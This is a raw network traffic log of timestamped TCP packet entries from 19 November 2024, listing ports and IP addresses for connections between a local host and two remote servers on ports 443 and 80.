Nov 19, 2024 22:07:07.340389967 CET	443	49859	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.340456963 CET	443	49859	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.340555906 CET	49859	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.340564966 CET	443	49859	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.340626955 CET	49859	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.340729952 CET	49859	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.340761900 CET	443	49859	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.340789080 CET	49859	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.340801954 CET	443	49859	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.343736887 CET	49865	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.343820095 CET	443	49865	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.343926907 CET	49865	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.344153881 CET	49865	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.344187975 CET	443	49865	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.428014040 CET	443	49860	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.428814888 CET	49860	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.428855896 CET	443	49860	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.429459095 CET	49860	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.429467916 CET	443	49860	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.455826998 CET	443	49862	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.456474066 CET	49862	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.456487894 CET	443	49862	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.457012892 CET	49862	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.457020044 CET	443	49862	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.461709023 CET	443	49861	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.462033987 CET	49861	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.462081909 CET	443	49861	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.462505102 CET	49861	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.462517023 CET	443	49861	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.499481916 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.499696016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.499897957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.556860924 CET	443	49863	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.559370041 CET	49863	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.559422016 CET	443	49863	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.559952021 CET	49863	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.559962988 CET	443	49863	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.611124039 CET	443	49860	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.611537933 CET	443	49860	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.611639023 CET	49860	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.611885071 CET	49860	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.611908913 CET	443	49860	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.611924887 CET	49860	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.611932993 CET	443	49860	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.615191936 CET	49866	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.615226030 CET	443	49866	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.615341902 CET	49866	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.615508080 CET	49866	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.615521908 CET	443	49866	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.629657030 CET	443	49865	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.631299973 CET	49865	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.631344080 CET	443	49865	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.631977081 CET	49865	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.631988049 CET	443	49865	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.636250019 CET	443	49862	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.636456966 CET	443	49862	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.636545897 CET	49862	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.636733055 CET	49862	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.636763096 CET	443	49862	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.636786938 CET	49862	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.636801958 CET	443	49862	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.639581919 CET	49867	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.639627934 CET	443	49867	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.639730930 CET	49867	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.639887094 CET	49867	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.639913082 CET	443	49867	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.643043995 CET	443	49861	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.643116951 CET	443	49861	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.643192053 CET	49861	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.643219948 CET	443	49861	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.643253088 CET	443	49861	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.643444061 CET	49861	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.643444061 CET	49861	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.643507957 CET	443	49861	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.643565893 CET	49861	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.643583059 CET	443	49861	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.645822048 CET	49868	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.645847082 CET	443	49868	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.646899939 CET	49868	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.647288084 CET	49868	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.647300959 CET	443	49868	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.699891090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705079079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705118895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705172062 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705197096 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.705213070 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705255032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705271959 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.705308914 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705331087 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.705347061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705385923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705420971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705439091 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.705457926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705495119 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705528975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705552101 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.705568075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705605030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705636978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.705658913 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.739336014 CET	443	49863	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.739634037 CET	443	49863	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.739736080 CET	443	49863	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.739748001 CET	49863	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.739799976 CET	49863	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.739875078 CET	49863	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.739905119 CET	443	49863	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.739958048 CET	49863	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.739973068 CET	443	49863	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.742150068 CET	49869	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.742232084 CET	443	49869	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.742914915 CET	49869	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.743005991 CET	49869	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.743030071 CET	443	49869	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.809266090 CET	443	49865	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.809396982 CET	443	49865	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.809480906 CET	49865	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.809673071 CET	49865	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.809700966 CET	443	49865	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.809726954 CET	49865	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.809742928 CET	443	49865	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.811655045 CET	49870	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.811671019 CET	443	49870	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.811768055 CET	49870	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.811880112 CET	49870	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.811888933 CET	443	49870	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.895487070 CET	443	49866	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.895849943 CET	49866	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.895870924 CET	443	49866	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.896249056 CET	49866	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.896253109 CET	443	49866	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.905678034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.905781031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.905817032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.905881882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.905921936 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.905940056 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.905941010 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.905941010 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.905956030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.905992985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906013012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906032085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906044960 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906068087 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906100988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906105995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906143904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906162024 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906176090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906204939 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906213045 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906255007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906277895 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906287909 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906310081 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906326056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906382084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906389952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906415939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906441927 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906454086 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906491041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906511068 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906526089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906542063 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906563997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906601906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906627893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906647921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906672955 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906685114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906723022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906740904 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906755924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906785011 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906833887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906872988 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906907082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:07.906914949 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.906939030 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:07.917893887 CET	443	49867	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.918165922 CET	49867	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.918189049 CET	443	49867	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.918503046 CET	49867	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.918514013 CET	443	49867	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.933037996 CET	443	49868	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.933439016 CET	49868	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.933449030 CET	443	49868	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:07.933995962 CET	49868	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:07.934000015 CET	443	49868	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.080041885 CET	443	49866	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.080146074 CET	443	49866	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.080183983 CET	443	49866	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.080209970 CET	49866	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.080270052 CET	49866	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.080522060 CET	49866	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.080533981 CET	443	49866	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.080543995 CET	49866	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.080549002 CET	443	49866	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.083673000 CET	49871	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.083755970 CET	443	49871	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.083869934 CET	49871	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.084089994 CET	49871	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.084122896 CET	443	49871	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.093040943 CET	443	49870	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.093427896 CET	49870	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.093444109 CET	443	49870	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.093887091 CET	49870	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.093892097 CET	443	49870	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.100402117 CET	443	49867	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.100497007 CET	443	49867	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.100547075 CET	49867	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.100934982 CET	49867	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.100948095 CET	443	49867	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.100960016 CET	49867	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.100965023 CET	443	49867	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.104696035 CET	49872	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.104707956 CET	443	49872	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.104775906 CET	49872	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.104983091 CET	49872	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.104999065 CET	443	49872	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.106580019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.106626987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.106663942 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.106703997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.106744051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.106776953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.106781960 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.106781960 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.106781960 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.106813908 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.106852055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.106853962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.106877089 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.106906891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.106940031 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.106945992 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.106983900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107012033 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107017040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107052088 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107057095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107099056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107130051 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107131958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107170105 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107170105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107213974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107242107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107247114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107264996 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107286930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107351065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107363939 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107388973 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107415915 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107425928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107464075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107487917 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107496977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107534885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107538939 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107573032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107603073 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107606888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107629061 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107654095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107692003 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107717991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107726097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107763052 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107764006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107803106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107824087 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107837915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107861996 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107877016 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107914925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107934952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107947111 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.107974052 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.107986927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108025074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108048916 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108057022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108089924 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108094931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108134031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108155012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108165979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108196020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108205080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108242035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108263016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108275890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108311892 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108311892 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108361006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108386993 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108397007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108418941 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108433008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108473063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108490944 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108505964 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108535051 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108542919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108581066 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108598948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108613968 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108635902 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108649969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108690023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108706951 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108724117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108747005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108761072 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108800888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108819962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.108834028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.108864069 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.112622976 CET	443	49868	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.112684965 CET	443	49868	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.112734079 CET	49868	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.112739086 CET	443	49868	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.112865925 CET	49868	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.112870932 CET	443	49868	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.112942934 CET	49868	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.113042116 CET	443	49868	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.115125895 CET	49873	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.115144968 CET	443	49873	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.115209103 CET	49873	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.115441084 CET	49873	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.115453005 CET	443	49873	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.275559902 CET	443	49870	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.275717020 CET	443	49870	13.107.246.40	192.168.2.4
